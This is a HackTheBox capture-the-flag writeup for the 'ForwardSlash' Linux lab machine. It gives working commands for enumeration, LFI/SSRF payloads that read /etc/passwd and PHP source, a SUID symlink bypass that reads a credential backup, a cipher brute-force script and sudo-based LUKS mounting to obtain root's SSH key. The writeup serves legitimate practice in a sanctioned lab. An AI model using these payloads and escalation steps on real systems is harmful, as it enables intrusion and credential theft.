HTB: ForwardSlash Writeup
ForwardSlash - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | ForwardSlash |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 04 Apr 2020 |
| IP Address | 10.10.10.183 |
| Author | InfoSecJack & chivato |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
ForwardSlash is a hard-difficulty Linux machine that simulates a compromised web server scenario. The attack path involves discovering a backup virtual host through enumeration, exploiting a Local File Inclusion (LFI) vulnerability via Server-Side Request Forgery (SSRF) to read hardcoded FTP credentials, lateral movement through a custom SUID binary that bypasses symlink protections, and finally privilege escalation by breaking a custom encryption algorithm to decrypt a LUKS volume containing the root SSH key. The box emphasizes real-world misconfigurations, custom cryptography weaknesses, and creative privilege escalation techniques.
TL;DR: Vhost enumeration → SSRF/LFI reads hardcoded credentials → SSH as chiv → SUID binary + symlink bypass reads pain’s password → Custom cipher brute-force reveals LUKS key → Mount encrypted image containing root’s SSH key.
Reconnaissance
Port Scanning
# Quick scan to identify open portsnmap -p- --min-rate=1000 -T4 10.10.10.183
# Detailed service enumerationnmap -p 22,80 -sC -sV 10.10.10.183Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.380/tcp open http Apache/2.4.29 (Ubuntu)Service Enumeration
HTTP (Port 80):
Navigating to http://10.10.10.183 immediately redirects to forwardslash.htb, indicating virtual host routing. After adding the hostname to /etc/hosts:
echo "10.10.10.183 forwardslash.htb" | sudo tee -a /etc/hostsThe site displays a defacement message from the “Backslash Gang” with hints about XML and automatic FTP functionality.
Directory Enumeration:
# Initial scan with common extensionsgobuster dir -u http://forwardslash.htb -w /usr/share/wordlists/dirb/common.txt -x php,txtKey Finding: /note.txt discovered, containing:
Pain, we were hacked by some skids that call themselves the "Backslash Gang"...Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.-chivVirtual Host Discovery:
The note hints at a backup site. Enumerating virtual hosts:
# Scan for additional vhostsgobuster vhost -u http://forwardslash.htb/ -w /usr/share/wordlists/dirb/common.txt | grep 302Result: backup.forwardslash.htb identified. Added to /etc/hosts:
echo "10.10.10.183 backup.forwardslash.htb" | sudo tee -a /etc/hostsVulnerability Assessment
- Virtual Host Exposure: Backup subdomain
backup.forwardslash.htbaccessible, potentially containing sensitive functionality - Web Application: Registration and login functionality present, suggesting user-controlled input vectors
- Defacement Message Hints: References to XML and FTP suggest potential XXE or credential disclosure vectors
Initial Foothold
Web Application Analysis
Registration & Login:
The backup site at http://backup.forwardslash.htb provides user registration. After registering an account (e.g., someuser:somepass) and logging in, the dashboard presents several features including a disabled “Change Your Profile Picture” form.
Directory Enumeration on Backup Site:
# Enumerate backup subdomaingobuster dir -u http://backup.forwardslash.htb -w /usr/share/wordlists/dirb/common.txt -x php,txt -s 200,302Key Findings:
/api.php- Redirects to login/dev/- Returns403 Access Deniedwith message “Access Denied From [attacker_ip]“
Local File Inclusion (LFI) via SSRF
The “Change Your Profile Picture” feature in /profilepicture.php has disabled HTML form inputs but accepts a url parameter. Testing for LFI:
# Capture session cookie from browser (F12 → Storage → PHPSESSID)# Test LFI vulnerabilitycurl -X POST http://backup.forwardslash.htb/profilepicture.php \ -d "url=../../../etc/passwd&submit=submit" \ -b "PHPSESSID=<your_session_cookie>"Result: Successfully reads /etc/passwd, confirming LFI vulnerability.
Server-Side Request Forgery (SSRF) to Access /dev
Since /dev/ blocks external access but the application has LFI, we can leverage SSRF to access it as localhost:
# Access /dev endpoint via SSRFcurl -X POST http://backup.forwardslash.htb/profilepicture.php \ -d "url=http://backup.forwardslash.htb/dev&submit=submit" \ -b "PHPSESSID=<your_session_cookie>"Response: Returns HTML containing a form named xmltest that submits XML to /dev/index.php.
Direct Credential Disclosure via LFI
Rather than pursuing the XXE vector suggested by the XML form, the more direct approach is to read the PHP source code directly using PHP filter wrappers:
# Read /dev/index.php source using php://filtercurl -X POST http://backup.forwardslash.htb/profilepicture.php \ -d "url=php://filter/convert.base64-encode/resource=dev/index.php&submit=submit" \ -b "PHPSESSID=<your_session_cookie>"Result: Returns base64-encoded PHP source. Decoding reveals hardcoded FTP credentials:
// Hardcoded credentials in dev/index.php$ftp_user = "chiv";$ftp_pass = "N0bodyL1kesBack/";SSH Access
Testing credential reuse for SSH:
# Test credentials against SSHssh chiv@10.10.10.183# Password: N0bodyL1kesBack/Success: Gained shell as user chiv. However, user.txt is not in this user’s home directory, indicating lateral movement is required.
Privilege Escalation
Lateral Movement: chiv → pain
Enumeration as chiv:
# Check SUID binariesfind / -perm -4000 -type f 2>/dev/nullKey Finding: Custom SUID binary /usr/bin/backup owned by pain:
ls -la /usr/bin/backup# -rwsr-xr-x 1 pain pain 16896 Mar 06 2020 /usr/bin/backupBinary Behavior:
# Execute the backup binary/usr/bin/backupOutput:
---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second----------------------------------------------------------------------
Current Time: 14:28:41ERROR: <redacted> Does Not Exist or Is Not Accessible By Me, Exiting...The binary attempts to read a file whose name is the MD5 hash of the current time (HH:MM:SS). Verification:
# Confirm MD5 hash matches timeecho -n "14:28:41" | md5sum# <redacted>Exploitation Strategy:
The intended exploitation is to create a file with the MD5 name as a symlink pointing to a privileged file. However, Linux kernel fs.protected_symlinks protection prevents SUID binaries from following symlinks in world-writable sticky directories (/tmp, /dev/shm).
Bypass Technique:
Create the symlink in a non-sticky directory owned by chiv (e.g., /home/chiv/bk):
# Create working directorymkdir /home/chiv/bkcd /home/chiv/bk
# Target file: /var/backups/config.php.bak (owned by pain)# Create symlink with MD5-named file pointing to targetdate +"%H:%M:%S" | echo -n $(xargs) | md5sum | cut -d " " -f 1 | xargs -I {} ln -s /var/backups/config.php.bak {}
# Immediately execute backup/usr/bin/backupResult: Successfully reads config.php.bak, revealing database credentials:
<?php/* Database config */$db_server = "localhost";$db_username = "pain";$db_password = "db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704";$db_database = "site";?>SSH as pain:
# Test password reusessh pain@10.10.10.183# Password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704Success: Access gained as pain.
cat /home/pain/user.txt# <redacted>Privilege Escalation: pain → root
Enumeration as pain:
# Check sudo privilegessudo -lOutput:
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup * (root) NOPASSWD: /bin/umount *The user can decrypt and mount LUKS volumes without a password.
Home Directory Analysis:
ls -la /home/pain/Key Findings:
note.txt: Mentions encrypted files and “crypto magic on the key”encryptorinator/directory containing:ciphertext(encrypted data)encrypter.py(custom encryption script)
Encryption Analysis:
# encrypter.py implements a custom cipherdef encrypt(key, msg): key = list(key) msg = list(msg) for char_key in key: for i in range(len(msg)): if i == 0: tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) else: tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1]) while tmp > 255: tmp -= 256 msg[i] = chr(tmp) return ''.join(msg)How the Cipher Works:
- For each character in the key (outer loop)
- For each character in the message (inner loop)
- Add: current_char + key_char + previous_char (or last_char if position 0)
- Wrap around if result > 255 (modulo 256 operation)
Decryption Strategy:
The encryption is vulnerable to brute-force because:
- Key length is limited (likely < 100 characters based on ciphertext length)
- Each key length produces a unique decryption pattern
- Plaintext contains the word “key” (hinted in note.txt)
Brute-Force Script:
#!/usr/bin/env python3
def decrypt_modified(msg, key_length): """ First stage: reverse the fixed character-position additions This removes the dependency on previous characters """ msg = list(msg) for _ in range(key_length): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - ord(msg[-1]) else: tmp = ord(msg[i]) - ord(msg[i-1]) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return msg
def brute_force_offset(msg): """ Second stage: brute force the sum of key characters (Caesar shift) """ results = [] for offset in range(256): test_msg = msg[:] for i in range(len(test_msg)): tmp = ord(test_msg[i]) - offset while tmp < 0: tmp += 256 test_msg[i] = chr(tmp)
plaintext = ''.join(test_msg) # Filter for likely plaintext containing "key" if "key" in plaintext.lower(): results.append((offset, plaintext)) return results
# Read ciphertextwith open("ciphertext", "rb") as f: ciphertext = f.read().decode('latin-1')
# Brute force key lengths 1-100print("[*] Brute-forcing key length and offset...")for klen in range(1, 100): stage1 = decrypt_modified(ciphertext, klen) matches = brute_force_offset(stage1)
if matches: print(f"\n[+] Key length {klen}, found {len(matches)} candidate(s):") for offset, text in matches: # Filter printable results if text.count('key') > 0: print(f" Offset {offset}: {text[:200]}")Execution:
cd /home/pain/encryptorinatorpython3 decrypt.pyResult (key length 17, offset 115):
you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery:cB!6%sdH8Lj^@Y*$C2cfLUKS Volume Decryption
Identify Recovery Image:
ls -la /var/backups/recovery/# -rw-r----- 1 root backupoperator 1048576 ... encrypted_backup.img
# Verify group membershipid# uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)The user pain is in the backupoperator group, granting read access.
Decrypt and Mount LUKS Volume:
# Create mount point in home directory (required by sudo restrictions)mkdir ~/mnt
# Decrypt LUKS volume using recovered passwordsudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup# Enter passphrase: cB!6%sdH8Lj^@Y*$C2cf
# Mount the decrypted mapper devicesudo /bin/mount /dev/mapper/backup ~/mnt/
# Explore mounted volumels -la ~/mnt/Contents:
-rw-r--r-- 1 root root 1675 ... id_rsaRoot Access:
# Copy root's SSH private keycp ~/mnt/id_rsa /tmp/root_keychmod 600 /tmp/root_key
# SSH as rootssh -i /tmp/root_key root@10.10.10.183Success:
cat /root/root.txt# <redacted>Attack Chain Summary
Port 80 enumeration → note.txt hints at backup site ↓Vhost discovery → backup.forwardslash.htb ↓LFI in profilepicture.php → SSRF to access /dev endpoint ↓php://filter reads dev/index.php source → Hardcoded FTP creds (chiv:N0bodyL1kesBack/) ↓SSH as chiv ↓SUID binary /usr/bin/backup (owned by pain) → Time-based MD5 filename ↓Symlink in non-sticky directory (/home/chiv/bk) bypasses fs.protected_symlinks ↓Read /var/backups/config.php.bak → pain's password (db1f73a72...) ↓SSH as pain → user.txt ↓Custom cipher brute-force (key_length=17, offset=115) → LUKS password (cB!6%sdH8Lj^@Y*$C2cf) ↓sudo cryptsetup + mount /var/backups/recovery/encrypted_backup.img ↓Extract root's id_rsa → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Directory/vhost brute-forcing |
curl | Manual HTTP request crafting for LFI/SSRF |
python3 | Custom decryption script for cipher brute-force |
cryptsetup | LUKS volume decryption |
mount | Filesystem mounting |
ssh | Remote access |
Key Learnings
Techniques Practiced
- Virtual host enumeration to discover hidden subdomains
- LFI exploitation via disabled HTML forms using direct POST requests
- SSRF to bypass IP-based access controls and reach internal endpoints
- PHP filter wrappers (
php://filter) for source code disclosure - Linux symlink protection bypass by avoiding sticky world-writable directories
- Custom cryptography analysis and brute-forcing for weak cipher implementations
- LUKS volume forensics and decryption with sudo privileges
- Privilege escalation through custom SUID binaries with time-based file access
Lessons Learned
-
Always check for credential reuse across services. The FTP password worked for SSH, and the database password did as well.
-
Disabled HTML form inputs are client-side only. Use browser dev tools or
curlto bypass frontend restrictions. -
PHP filter wrappers are powerful for source disclosure. When LFI is present,
php://filter/convert.base64-encode/resource=can read source code that would otherwise execute. -
Understand kernel symlink protections.
fs.protected_symlinks=1prevents following symlinks in sticky directories (/tmp,/dev/shm) when the follower’s EUID differs from the link owner. Non-sticky directories owned by the user bypass this. -
Custom crypto is almost always broken. The encrypter’s weakness was that the key length and offset could be brute-forced independently. Professional cryptography (AES, RSA) should always be preferred.
-
Sudo restrictions can be incomplete. While
paincould only mount to./mnt/, the ability to decrypt any LUKS volume and mount it was sufficient for privilege escalation. -
Backup files often contain production credentials. Always enumerate
/var/backups/and similar directories during privilege escalation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup for ForwardSlash (Document No. D20.100.79) by TRX - Used for explanatory context on XXE vectors, LUKS operations, and cipher analysis methodology